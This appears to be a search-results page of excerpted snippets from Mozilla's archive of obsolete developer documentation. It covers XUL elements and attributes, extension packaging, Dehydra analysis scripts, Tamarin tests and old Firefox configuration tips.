url in firefox url in seamonkey overlays chrome://browser/content/browser.xul chrome://navigator/content/navigator.xul main browser window chrome://browser/content/pageinfo/pageinfo.xul chrome://navigator/content/pageinfo/pageinfo.xul page info window chrome://browser/content/preferences/permissions.xul chrome://communicator/content/permis...onsmanager.xul permissions manager dialog urls added in 2.1 url in firefox url in seamonkey chrome://browser/content/bookmarks/bookmarkspanel.xul chrome://communicator/content/bookmarks/bm-panel.xul chrome://browser/content/places/places.xul chrome://communicator/content/bookma...rksman...
...these are so commonly available that developers often forget that they are not built-ins.
Using Dependent Libraries In Extension Components - Archive of obsolete content
s, and we want to find // <extensiondir>/libraries nscomptr<nsifile> libraries; rv = alocation->getparent(getter_addrefs(libraries)); if (ns_failed(rv)) return rv; nscomptr<nsilocalfile> library(do_queryinterface(libraries)); if (!library) return ns_error_unexpected; library->setnativeleafname(ns_literal_cstring("libraries")); library->appendnative(ns_literal_cstring("dummy")); // loop through and load dependent libraries for (char const *const *dependent = kdependentlibraries; *dependent; ++dependent) { library->setnativeleafname(nsdependentcstring(*dependent)); prlibrary *lib; library->load(&lib); // 1) we don't care if this failed!
...components, and we want to find // <extensiondir>/libraries nscomptr<nsifile> libraries; rv = alocation->getparent(getter_addrefs(libraries)); if (ns_failed(rv)) return rv; nscomptr<nsilocalfile> library(do_queryinterface(libraries)); if (!library) return ns_error_unexpected; library->setnativeleafname(ns_literal_cstring("libraries")); library->appendnative(ns_literal_cstring("dummy")); nscstring path; // loop through and load dependent libraries for (char const *const *dependent = kdependentlibraries; *dependent; ++dependent) { library->setnativeleafname(nsdependentcstring(*dependent)); rv = library->getnativepath(path); if (ns_failed(rv)) return rv; //at this point, we would have used prlibrary *lib; library->load(&lib); //but we can't use tha...
Using the Stylesheet Service - Archive of obsolete content
in firefox 3, the changes take effect immediately, though some declarations (especially those affecting xul) won't work until a reload.
... if("@mozilla.org/content/style-sheet-service;1" in components.classes) { if(components.id('{41d979dc-ea03-4235-86ff-1e3c090c5630}') .equals(components.interfaces.nsistylesheetservice)) { // stylesheet service is available, but changes won't apply until reload // (firefox 1.5 and 2 behaviour) } else { // stylesheet service is available and changes will apply immediately // (firefox 3 behaviour) } } else { // stylesheet service is not available (pre-firefox 1.5 behaviour) } ...
Add-ons - Archive of obsolete content
other items are recommendations.
...the comments normally mark where you should be inserting your own code.
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
our engineering team actually needed the least convincing to convert over to a standards-based design, because they could also immediately envision the benefits to their workload and maintenance of the site.
...hmmm.
XML data - Archive of obsolete content
in the document's stylesheet, you specify how info elements are to be displayed: info { display: block; margin: 1em 0; } the most common values for the display property are: block displayed like html's div (for headings, paragraphs) inline displayed like html's span (for emphasis within text) add your own style rules that specify the font, spacing and other details in the same way as for html.
...if you had difficulty understanding this page, or if you have other comments about it, please contribute to its discussion page.
Images, Tables, and Mysterious Gaps - Archive of obsolete content
the lack of a doctype will prevent validation, and so is not recommended.
... recommendations absent support for css3, it is difficult to provide a clear set of steps for fixing every instance of these problems, because the best solution for a given document will greatly depend on its structure.
Autodial for Windows NT - Archive of obsolete content
the next time this address is tried and can't be found, the autodial service will be triggered and dialup will commence.
... original document information author(s): benjamin chuang last updated date: october 2, 2002 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Automated testing tips and tricks - Archive of obsolete content
t the browser on all platforms window.close() of the last open window does not quit the application on mac http://people.mozilla.com/~davel/scripts/ - look at quit.js and quit.xul install manifest file in appdir/chrome to map chrome://tests/content to directory containing quit.js and quit.xul example: content tests file:///users/davel/work/tests/ start app with command line flag -chrome chrome://tests/content/quit.xul how to create a new profile from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${profile_dir}/testprofile" next, start firefox to populate the new profile...
...in test scripts, <code>sleep 5 after the above command should ensure the profile is created before the next command in the test script is run how to enable dump in a new profile add user_pref("browser.dom.window.dump.enabled", true); to profiledir/user.js how to execute test code with chrome privileges using a chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scripts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/content/ above code calls the quit function in quit.js to exit after test is finished...
How Mozilla finds its configuration files - Archive of obsolete content
how mozilla finds its configuration files mozilla looks into the binary %userprofile%\application data\mozilla\registry.dat file for its "registry", which contains, amongst other information, a pointer to the directory where the profile is stored (located at common/profiles/profilename/directory.
...this is a readable file of javascript commands.
Locked config settings - Archive of obsolete content
the mozilla.cfg file is an encoded file of javascript commands.
...the lockpref command puts into place a locked preference, whereas the defaultpref command merely puts into a place a default value (which the user may override in his prefs.js file).
Automatically Handle Failed Asserts in Debug Builds - Archive of obsolete content
to "comment out" a value, set its value to 0xffffffff.
... as an example, consider the following failed assertion: assertion: no document: 'mdocument != nsnull', file d:/cvs-1.11.4/mozilla/content/xul/content/src/nsxulelement.cpp, line 3173 (note that i have my source tree in d:/cvs-1.11.4/mozilla) if you have a dword in hkcu\software\mozilla.org\windbgdlg\ named "d:/cvs-1.11.5/mozilla/content/xul/content/src/nsxulelement.cpp," (with the comma - matches are whole-word only) and value 0x5, the assert would automatically be ignored.
Bonsai - Archive of obsolete content
it also includes tools for looking at checkin logs (and comments); doing diffs between various versions of a file; and finding out which person is responsible for changing a particular line of code ("cvsblame").
... original document information author(s): jamie zawinski last updated date: september 8, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Building TransforMiiX standalone - Archive of obsolete content
it is recommended to add ac_add_options --disable-gtktest ac_add_options --without-jpeg ac_add_options --without-zlib ac_add_options --without-png ac_add_options --without-x to your .mozconfig, too, as it stops configure from testing unneeded libs.
... original document information author: axel hecht last updated date: april 5, 2004 copyright information: portions of this content are © 1998–2006 by individual mozilla.org contributors; content available under a creative commons license ...
Structure of an installable bundle - Archive of obsolete content
xulrunner applications, extensions, and themes all share a common directory structure, and in some cases the same bundle can be used as a standalone xulrunner application as well as an installable application extension.
... official references for toolkit api structure of an installable bundle: describes the common structure of installable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how t...
Making a Mozilla installation modifiable - Archive of obsolete content
on unix-like operating systems with bash-like shells, you can run the following command within that directory to accomplish this task: for file in *.jar; do unzip $file; done on operating systems with dos-like shells, the following command accomplishes this task: for %file in (*.jar); do unzip %file note that there are platform-specific files — en-mac.jar, en-unix.jar, and en-win.jar — in that directory.
...if you have perl on your system, you can do this with the following command: perl -pi.orig -e 's/(jar:)|(\/[^.\/]+\.jar!)//g' chrome.rdf installed-chrome.txt for example, to convert the url jar:resource:/chrome/comm.jar!/content/necko/, change it to resource:/chrome/content/necko/.
contents.rdf - Archive of obsolete content
bout="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:description="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:myskin/1.0:packages"> <rdf:li resource="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:navigator"/> </rdf:seq> </chrome:packages> </rdf:description> <!-- version information.
...--> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:global"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:description chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:navigator"/> </rdf:rdf> ...
DTrace - Archive of obsolete content
the dtrace probes currently built into the codebase may be enabled by default in the future, but for now you'll need to create a build with --enable-dtrace (on mac os x you also have to use at least the 10.5 sdk for --with-macos-sdk, unlike the common configuration that uses the 10.4 sdk).
... community dtrace forums #dtrace on irc.freenode.org sun's dtrace howto guide tools nightly trunk builds for solaris dtracetoolkit related topics javascript ...
Installing Dehydra - Archive of obsolete content
building spidermonkey it is recommended that you use spidermonkey revision aurora_base_20110705 when building dehydra.
...it is recommended to get the latest dehydra sources by checking out from mercurial.
Dehydra Object Reference - Archive of obsolete content
common properties property type description .loc location object source location of a type or declaration.
...common type properties property type description .name string if applicable, the name of of the type.
Using Dehydra - Archive of obsolete content
example: printing the location of type declarations save the following c++ code dumptypes.cc: typedef int myint; struct foo { int i; char *c; }; save the following analysis script dumptypes.js: function process_type(t) { print("type found: " + t.name + " location: " + t.loc); } function input_end() { print("hello, world!"); } compile using the following command: $ g++ -fplugin=~/dehydra/gcc_dehydra.so -fplugin-arg=~/dumptypes.js -o/dev/null -c dumptypes.cc note:for g++4.5 and up use -fplugin-arg-gcc_dehydra-script= rather than -fplugin-arg it should print the following results: type found: foo location: test.cc:2:12 type found: myint location: test.cc:1:13 hello, world!
...on isfinal(c) { if (!c.attributes) return false; for each (let a in c.attributes) if (a.name == 'user' && a.value == 'final') return true; return false; } function process_type(t) { if (t.bases) for each (let base in t.bases) if (isfinal(base.type)) error("class " + t.name + " extends final class " + base.type.name, t.loc); } compile using the following command: $ g++ -fplugin=~/dehydra/gcc_dehydra.so -fplugin-arg=~/final.js -o/dev/null -c final.cc it should print the following results and return with an error code: final.cc:8: error: class subclass extends final class myclass see documentation for: process_type, error, .bases property, .attributes property ...
Extension Frequently Asked Questions - Archive of obsolete content
this is quick set of answers to the most common issues with extension development.
... please see extensions:other resources and extensions:community.
Layout System Overview - Archive of obsolete content
in the case of the wysiwyg html editor, the user expects that the modifications they make to the document will appear immediately, not seconds later.
...conceptually, this could be used to introduce other layout systems, but it might be worth noting that there was no specific facility designed into the layout system to accommodate this.
Style System Overview - Archive of obsolete content
dynamic changes to content framemanager::reresolvestylecontext destroys and recreates style contexts for existing frames (rule node pointer immutable).
...(but beware didsetstylecontext) the style system style sheets & rules ↓ rule tree ↓ style context interface original document information author(s): david baron last updated date: june 6, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Firefox Sync - Archive of obsolete content
clients communicate through it.
...related info javascript client api (useful for interacting with sync from mozilla applications, including developing extensions against sync) syncing custom preferences (useful for extension developers) code snippets (demonstrates common actions with the javascript api) ...
Gecko Coding Help Wanted - Archive of obsolete content
join the gecko bugathon and help save gecko engineers from imminent doom!
... original document information author(s): fantasai last updated date: may 4, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
HTTP Class Overview - Archive of obsolete content
identifies a connection nshttptransaction implements nsirequest encapsulates a http request and response parses incoming data nshttpchunkeddecoder owned by a transaction strips chunked transfer encoding nshttprequesthead owns a nshttpheaderarray knows how to fill a request buffer nshttpresponsehead owns a nshttpheaderarray knows how to parse response lines performs common header manipulations/calculations nshttpheaderarray stores http "<header>:<value>" pairs nshttpauthcache stores authentication credentials for http auth domains nshttpbasicauth implements nsihttpauthenticator generates basic auth credentials from user:pass nshttpdigestauth implements nsihttpauthenticator generates digest auth credentials from user:pass original document...
... information author(s): darin fisher last updated date: august 5, 2002 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Hidden prefs - Archive of obsolete content
mail composition "other header" pref ("mail.compose.other.header") the format for this a comma delimited list of mail headers, like "approved,x-no-archive" an example for your prefs.js would be: user_pref("mail.compose.other.header", "approved"); this will cause "approved" to show up in the compose window address picker, under to:, cc:, bcc:, newsgroup:, etc.
...| mail & newsgroups | addressing" "other compose header" pref from mailnews.js: // you can specify a comma delimited list of optional headers // this will show up in the address picker in the compose window // examples: "x-face" or "approved" pref("mail.compose.other.header", "approved,x-no-archive"); ...
importUserCertificates - Archive of obsolete content
if the string is null and no certificate with the same dn exists in the user's certificate store, personal security manager uses the following pattern to derive the nickname: <tt><common name>'s <issuer name> id</tt>.
... "certrepstring" this string is the cmmf certification response from the ca that contains the user's certificate(s).
Jetpack - Archive of obsolete content
jetpack jetpack is a project to make it easy to build firefox add-ons using common web technologies.
... get started visit the getting started tutorial download the add-on sdk (formerly called the jetpack sdk) documentation check out the documentation, including tutorials, examples, guides, and api reference join the jetpack community follow jetpack on the mozilla add-ons blog report a bug check out the open bugs discuss jetpack grab the source code join us in #jetpack on irc.mozilla.org ...
LIR - Archive of obsolete content
nt 7 retq void 64 bit return a quad 8 retd void return a double 9 livei void extend live range of an int 10 liveq void 64 bit extend live range of a quad 11 lived void extend live range of a double 12 file void source filename for debug symbols 13 line void source line number for debug symbols 14 comment void a comment shown, on its own line, in lir dumps 15 not in use load 16 not in use 17 ldc2i integer load char and sign-extend to an int 18 lds2i integer load short and sign-extend to an int 19 lduc2ui integer load unsigned char and zero-extend to an unsigned int 20 ldus2ui integer load unsig...
... 48 not in use immediate 49 immi int immediate 50 immq 64 bit quad immediate 51 immd double immediate 52 not in use comparisons 53 eqi integer int equality 54 lti integer signed int less-than 55 gti integer signed int greater-than 56 lei integer signed int less-than-or-equal 57 gei integer...
Plug-n-Hack - Archive of obsolete content
security researchers commonly use security tools in conjunction with browsers, but until now direct integration has required writing platform and browser specific extensions.
...the current protocol and firefox implementation are released under the mozilla public license 2.0 which means it can be incorporated in commercial tools without charge.
Configuration - Archive of obsolete content
separate multiple uris with commas: *google.com, *yahoo.com exclude urls that should be opened in the default browser, rather than in the web app.
...any of the profile parameters can also be passed directly on the command line as well.
HostWindow - Archive of obsolete content
status - area of the statusbar that displays the loading status message and a "percent complete" progress bar, as well as the "gear" menu that provides access to prism commands such as displaying the error console.
...command menu - a popup menu showing several prism-specific commands.
Rsyncing the CVS Repository - Archive of obsolete content
note that for using this copy, the nolocks line in cvsroot/config will need to be commented out, as it requires a modified cvs binary.
... references thanks also to bz for telling me the exact commands that i need ...
open - Archive of obsolete content
summary opens the file, specifying file mode and type.
... syntax open(mode,type) parameters mode a comma-delimited list describing the method to use to open the file, described in detail here.
Standalone XPCOM - Archive of obsolete content
the most common case of why the sample would have failed if you didn't run it from the bin directory.
... api freeze and documentation original document information author: suresh duddi last updated date: 15 may 2000 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Actionscript Acceptance Tests - Archive of obsolete content
the most common tests are written in actionscript and end with .as.
...testname.as.asc_args this file specifies additional arguments to pass to asc when compiling the test: # asc args for file # two modes are available: # override| all command line arguments (except builtin.py) are ignored and replaced by these # merge| merge these args in with the current args # specifiy an arg that starts with -no will disable the arg...
Cmdline tests - Archive of obsolete content
the testsuite allows more flexibility by coding scripts in python allowing any executable to run, sending commands to stdin, and asserting output using regular expressions.
...nnext\ninfo locals\nnext\ninfo locals\nquit\n', expectedout=['local1 = undefined','local2 = 10','local2 = 15'] ) use case 2: test -memstats returns memory logs to stdout test contents: start avmshell -memstats test.abc, assert stdout contains 'gross stats', 'sweep m reclaimed n pages.' from cmdutils import * def run(): r=runtestlib() r.run_test(name='memstats', command="%s -memstats testdata/memstats.abc" % r.avm, expectedout=[ 'gross stats', 'managed fragmentation', 'gross stats end', 'sweep\\([0-9]+\\) reclaimed [0-9]+ whole pages' ] ...
Tamarin - Archive of obsolete content
tamarin commit hook instructions for installing and using the mercurial hook for tamarin.
... mmgc overview an overview of the tamarin garbage collector.
The life of an HTML HTTP request - Archive of obsolete content
the webshell then tells its documentloader to load (command "view") the specified url.
... original document information author(s): alexander larsson last updated date: october 8, 1999 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Treehydra Manual - Archive of obsolete content
a value in the programming language being analyzed.
...a memory state in the programming language being analyzed.
Video presentations - Archive of obsolete content
(as quicktime; 282 mb) community these presentations provide insight into the mozilla community and how the project works.
... the mozilla community (part 1, part 2) this presentation talks about the mozilla community and how you can get involved smoothly.
Binding Attachment and Detachment - Archive of obsolete content
scripts that invoke this method should not assume that the binding is installed immediately after this method returns.
... the rule for detachment can be summarized as follows.
Event Handlers - Archive of obsolete content
this attribute is a comma-separated list of modifier keys that must be down at the time the key or mouse event occurs in order for the handler to execute.
... examples of common keys in the list are shift and control.
Example Sticky Notes - Archive of obsolete content
notes.html all parts are made and commented by vk [schools_ring@yahoo.com].
...cx="25px" cy="12px" r="12" fill="#ff0000" transform="translate(0,0)"/> <svg:circle cx="25px" cy="12px" r="12" fill="#00ff00" transform="translate(7,12)"/> <svg:circle cx="25px" cy="12px" r="12" fill="#0000ff" transform="translate(-7,12)"/> </svg:g> </svg:svg> <children/> </content> <implementation> <!-- here and futher cdata wrappers around javascript code are not mandatory but recommended.
XBL - Archive of obsolete content
xbl 2.0 (w3c candidate recommendation) was developed to address problems found in xbl 1.0 and to allow for implementations in a broader range of web browsers.
... community view mozilla forums...
Properties - Archive of obsolete content
minor version of netscape communicator 4.7 is "7" release second least siginificant element of the installversion object.
...buildid of netscape 6 is represented by a time stamp of teh format:yyyymmddhh: 2001031808 means in the year 2001, in the month of march, on the 18th day of the month, at 8:00am.
cancelInstall - Archive of obsolete content
summary aborts installation of the software; performs cleanup of temporary files.
...for most purposes, it's recommended that one of the standard return codes be used.
confirm - Archive of obsolete content
firefox on linux mozilla application suite on win32 it is therefore recommended to only use two buttons wherever possible, and to keep in mind that button 1 has the same return value as "window closed" (see below).
...buildid comparisons) are not recommended.
getFolder - Archive of obsolete content
summary returns an object representing one of the standard directories.
... "macosx picture documents" "macosx user applications" "macosx user desktop" "macosx user documents" "macosx user frameworks" "macosx user internet plugin" "macosx user preferences" "unix lib" "unix local" "windows" "win appdata" "win common files" "win desktop" "win desktop common" "win program files" "win programs" "win programs common" "win startmenu" "win startmenu common" "win startup" "win startup common" "win system" the "file:///" form is only valid when the subdirectory parameter is used.
XTech 2006 Presentations - Archive of obsolete content
microsummaries in firefox and on the web - myk melez microsummaries are regularly-updated compilations of the most important and timely information on web pages.
... this talk demonstrates how firefox will incorporate microsummaries into its ui, starting with bookmark labels.
searchbutton - Archive of obsolete content
« xul reference home searchbutton type: boolean if true, the search field will only fire a command event when the user presses the search button or presses the enter key.
... otherwise, the command event is fired whenever the user modifies the value.
button.type - Archive of obsolete content
unlike the menu type, this type requires the user to press the arrow to open the menu, but a different command may be invoked when the main part of the button is pressed.
... repeat this button will fire its command event repeatedly while the mouse button is held down.
currentset - Archive of obsolete content
« xul reference home currentset not in seamonkey 1.x type: comma-separated string the current set of displayed items on the toolbar.
...the value of this attribute should be a comma-separated list of item ids from the toolbarpalette or, additionally, any of the following strings: "separator", "spring", "spacer".
defaultset - Archive of obsolete content
« xul reference home defaultset not in seamonkey 1.x type: comma-separated list of item ids the default set of displayed items on the toolbar.
... this should be set to a comma-separated list of item ids from the toolbarpalette.
events - Archive of obsolete content
« xul reference home events type: comma-separated list a comma-separated list of event names that the command updater will update upon.
...you can send a custom event by calling the updatecommands method of the command dispatcher.
icon - Archive of obsolete content
ArchiveMozillaXULAttributeicon
« xul reference home icon mozilla 1.8 type: string this attribute should be used to set the usage for common buttons.
...if you are using a button that matches one of these common usages, use the icon attribute to indicate this.
label - Archive of obsolete content
see also treeitem.label, <label> element examples in javascript <label value="whaw" id="the-big-label" command="the-big-button"/> <button id="the-big-button" label="click me" oncommand="alert(document.getelementbyid('the-big-label').value)"/> <label id="mylabel" value="my label"/> <button label="click me" oncommand="document.getelementbyid('mylabel').setattribute('value','value changed');" /> <checkbox label="my checkbox" id="mycheckbox"/> <button label="another click" oncommand="document.getelementbyid('mych...
...eckbox').setattribute('label','still not checked');"/> <button label="show label of checkbox" oncommand="alert( document.getelementbyid('mycheckbox').getattribute('label') )"/> ...
substate - Archive of obsolete content
before the element immediately before the splitter is collapsed.
... after the element immediately after the splitter is collapsed.
targets - Archive of obsolete content
« xul reference home targets type: comma-separated list of element ids a comma-separated list of element ids that the command updater will update upon.
...the command update will only occur when the event occurs to one of the specified elements.
timeout - Archive of obsolete content
for search textboxes, the number of milliseconds before the timer fires a command event.
...for timed textboxes, the number of milliseconds before the timer fires a command event.
Menus - Archive of obsolete content
an extension will often wish to attach a new command to a menu.
...for more information about how to use an overlay to modify a menu, see using menus and popups in extensions the following tables list the ids of menus in firefox that are commonly overlaid upon.
startFind - Archive of obsolete content
« xul reference home startfind( mode ) return type: no return value call this method to handle your application's "find" command.
... example typically, you'll simply bind this method to your "find" command, like this: <command name="cmd_find" oncommand="gfindbar.startfind(gfindbar.find_normal);"/> ...
Node - Archive of obsolete content
ArchiveMozillaXULNode
summary this is a scriptable interface corresponding to the nsidomnode xpcom interface.
...for more information on this interface please see dom-level-2-core short element_node 1 short attribute_node 2 short text_node 3 short cdata_section_node 4 short entity_reference_node 5 short entity_node 6 short processing_instruction_node 7 short comment_node 8 short document_node 9 short document_type_node 10 short document_fragment_node 11 short notation_node 12 methods node appendchild ( node newchild ) node clonenode ( boolean deep ) boolean hasattributes ( ) boolean haschildnodes ( ) node insertbefore ( node newchild , node refchild ) boolean issupported ( string feature , string version ) void normalize ( ) node removechild ( n...
ContextMenus - Archive of obsolete content
a typical usage is for the user to right-click on an element to display a menu of commands pertaining to what was clicked on.
...the most common is by clicking on an element with the right mouse button.
Property - Archive of obsolete content
cessibletype accesskey align allnotifications allowevents alwaysopenpopup amindicator applocale autocheck autofill autofillaftermatch boxobject browsers builder builderview buttons canadvance cangoback cangoforward canrewind checked checkstate child children classname clickselectsall clientheight clientwidth collapsed color columns command commandmanager completedefaultindex container contentdocument contentprincipal contenttitle contentview contentvieweredit contentviewerfile contentwindow contextmenu control controller controllers crop current currentindex currentitem currentnotification currentpage currentpane currentset currenturi customtoolbarcount database datasources d...
...p scrollboxobject scrollincrement scrollheight scrollwidth searchbutton searchcount searchlabel searchparam searchsessions second secondleadingzero securityui selected selectedbrowser selectedcount selectedindex selecteditem selecteditems selectedpanel selectedtab selectionend selectionstart selstyle seltype sessioncount sessionhistory showcommentcolumn showpopup size smoothscroll spinbuttons src state statusbar statustext stringbundle strings style subject suppressonselect tabcontainer tabindex tabs tabscrolling tabpanels tag textlength textvalue timeout title toolbarname toolbarset tooltip tooltiptext top treeboxobject type uri useraction value valuenumber view we...
Building Menus With Templates - Archive of obsolete content
here is an example using an xml source: <button type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <menupopup> <menuitem uri="?" label="?name"/> </menupopup> </action> </template> </button> <button label="children" oncommand="alert(this.previoussibling.childnodes.length);"/> in this example, the datasources attribute has been placed on a menu-type button.
...the special feature of menus to not generate content immediately applies only to the menu itself.
Multiple Rule Example - Archive of obsolete content
« previousnext » the most common use of multiple rules is to apply different action bodies to different results.
...it is usually sufficient to assume that earlier rules are used to filter results much like an if-else construct in a programming language.
Multiple Rules - Archive of obsolete content
it also allows a common technique where the last rule in a template has no conditions, allowing all remaining results that didn't match earlier rules to match this last rule.
...separate each value to check with a comma.
Result Generation - Archive of obsolete content
it is so called because it is most common to gather the list of the members, or children, of a container.
...so, to summarize: start out with a one possible result as the seed iterate over the results determined so far and augment them with additional data add any new possible results remove any rejected results repeat steps 2 to 4 for each query statement once done, all remaining results become matches each possible result is made up of a set of variable-value pairs.
Sorting Results - Archive of obsolete content
the user can change the sort column and direction by clicking the column headers, however, you can programmatically change the sort as well.
... sorting tree results we'll examine sorting of trees first since trees are the most common element used with sorted items.
The Joy of XUL - Archive of obsolete content
xul provides a clear separation among the client application definition and programmatic logic ("content" consisting of xul, xbl, and javascript), presentation ("skin" consisting of css and images), and language-specific text labels ("locale" consisting of dtds and string bundles in .properties files).
... this degree of separation results in applications that are easier to maintain by programmers and readily customized by designers and language translators.
Toolbars - Archive of obsolete content
community view mozilla extension development forums...
... mailing list newsgroup rss feed #extdev irc channel mozillazine forum about:addons newsletter mozilla's web-tech blog mozdev project owners planet mozilla other community links...
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
in that example, oncommand handlers were added to some buttons.
...a common reason to set handlers is to modify the custom properties when an event occurs.
Adding HTML Elements - Archive of obsolete content
in each case, the window and other common information has been left out for simplicity.
... <html:hr/> </html:div> expense report 1 what i did last summer <button id="yes" label="yes"/> <button id="no" label="no"/> as can be seen in the image, the text inside the div tag was displayed but the other text (expense report 1 and what i did last summer) was not.
Adding Labels and Images - Archive of obsolete content
this syntax is the most common of labels.
...it is more common to use the attribute syntax for labels, and the text content syntax for descriptions.
Cross Package Overlays - Archive of obsolete content
for example, if mail is not installed, there will be no new message command.
... however, if mail is installed, an overlay will be applied to the menu to add the new message command.
Element Positioning - Archive of obsolete content
an example is shown below: example 1: source view <button label="ok" width="100" height="40"/> however, it is not recommended that you do this.
... find files example so far: source view next, a summary and some additional details of the box model are described.
Manifest Files - Archive of obsolete content
note: starting in gecko 2.0, only the file named chrome.manifest is read automatically; if you need to read multiple manifest files, use the manifest command in that file to import additional manifests.
...it is recommended to upload extensions to the mozilla add-ons site, where users can locate them for installation.
Open and Save Dialogs - Archive of obsolete content
« previousnext » a common type of dialog is one where the user can select a file to open or save.
...it is most commonly used for the open and save menu commands, but you can use it any place in which the user needs to select a file.
Popup Menus - Archive of obsolete content
first, an example: <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> as can be seen here, a simple popup menu with three commands on it has been created.
...the simplest way, which is much more common, is to add a tooltiptext attribute to an element for which you want to assign a tooltip.
Splitters - Archive of obsolete content
set this to closest to have the element immediately to the left of the splitter resize.
...set this to closest to have the element immediately to the right of the splitter resize.
Trees - Archive of obsolete content
ArchiveMozillaXULTutorialTrees
making a tree flexible is quite commonly done, as it is often the case that the data in the tree is the most significant information displayed, so it makes sense to make the tree grow to fit.
... that the treeitems are unlike other xul elements is a common source of confusion for xul developers.
XPCOM Examples - Archive of obsolete content
the example below shows how we might do this: <toolbox> <menubar id="windowlist-menubar"> <menu label="window" oncommand="switchfocus(event.target);"> <menupopup id="window-menu" datasources="rdf:window-mediator" ref="nc:windowmediatorroot"> <template> <rule> <menuitem uri="rdf:*" label="rdf:http://home.netscape.com/nc-rdf#name"/> </rule> </template> </menupopup> </menu> </menubar> </toolbox> <script> function switchfocus(elem) { var mediator = components.classes["@mozilla.org...
.../rdf/datasource;1?name=window-mediator"].getservice(); mediator.queryinterface(components.interfaces.nsiwindowdatasource); var resource = elem.getattribute('id'); switchwindow = mediator.getwindowforresource(resource); if (switchwindow){ switchwindow.focus(); } } </script> a command handler was added to the menu element which calls the function switchfocus() with a parameter of the element that was selected from the menu.
XPCOM Interfaces - Archive of obsolete content
an example is shown below: var bmarks = components.classes["@mozilla.org/browser/bookmarks-service;1"].getservice(); bmarks.queryinterface(components.interfaces.nsibookmarksservice); bmarks.addbookmarkimmediately("http://www.mozilla.org","mozilla",0,null); first, the component "@mozilla.org/browser/bookmarks-service;1" is retrieved and its service is placed in the variable bmarks.
...the function addbookmarkimmediately() provided by this interface can be used to add bookmarks.
Using nsIXULAppInfo - Archive of obsolete content
see bug 809920, and in summary: // work around the fact that xpcshell doesn't have a proper app-info xpcom object.
... cu.import("resource://testing-common/appinfo.jsm"); updateappinfo(); older versions as stated above, older mozilla 1.7-based applications do not support nsixulappinfo.
XUL Accesskey FAQ and Policies - Archive of obsolete content
common elements that don't get accesskeys ok buttons.
...look for dependencies of bug 129179 (the xul accesskey hookup meta bug), or look for bugs with "accesskey" or "mnemonic" in the summary, or look for dialogs where there are no elements with underlined letters.
XUL Reference - Archive of obsolete content
« xul reference « alphabetical list of all xul elements action arrowscrollbox assign bbox binding bindings box broadcaster broadcasterset button browser checkbox caption clicktoscroll colorpicker column columns commandset command conditions content datepicker deck description dialog dialogheader dropmarker editor grid grippy groupbox hbox iframe image key keyset label listbox listcell listcol listcols listhead listheader listitem member menu menubar menuitem menulist menupopup menuseparator notification notificationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale sc...
...listbox listitem listcell listcol listcols listhead listheader richlistbox richlistitem tree treecell treechildren treecol treecols treeitem treerow treeseparator box hbox vbox bbox deck stack grid columns column rows row scrollbox action assign binding bindings conditions content member param query queryset rule template textnode triple where script commandset command broadcaster broadcasterset observes key keyset stringbundle stringbundleset arrowscrollbox dropmarker grippy scrollbar scrollcorner spinbuttons all attributes all properties all methods attributes defined for all xul elements style classes event handlers deprecated/defunct markup ...
Accessibility/XUL Accessibility Reference - Archive of obsolete content
element enabled usage comments description <description value="<!-- text -->" /> <description><!--label text--></description> use for non-label text.
... column see grid columns see grid command see keyboard shortcut tutorial commandset see keyboard shortcut tutorial deck only the currently selected deck layer can be focused.
arrowscrollbox - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
broadcaster - Archive of obsolete content
for menuitems or buttons that just want to have their disabled status set when the feature should be disabled, you should use a command element instead.
